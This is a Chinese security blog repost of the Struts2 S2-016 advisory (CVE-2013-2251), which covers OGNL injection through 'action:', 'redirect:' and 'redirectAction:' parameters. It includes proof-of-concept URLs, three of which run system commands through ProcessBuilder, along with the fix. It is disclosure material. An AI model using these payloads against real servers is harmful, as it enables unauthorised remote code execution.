struts2最新s2-016代码执行漏洞 – CVE-2013-2251

独自等待 2017年5月10日20:35:48评论433 views字数 1542阅读5分8秒阅读模式

这是一个代码执行漏洞,利用java代码来执行系统命令,本站稍候将公布POC利用代码。

影响版本:Struts 2.0.0 – Struts 2.3.15

漏洞说明:

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

测试POC:

In the Struts Blank App, open following URLs.

Simple Expression – the parameter names are evaluated as OGNL.

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

解决方法:

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped – see also S2-017.

官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日20:35:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   struts2最新s2-016代码执行漏洞 – CVE-2013-2251https://cn-sec.com/archives/50185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息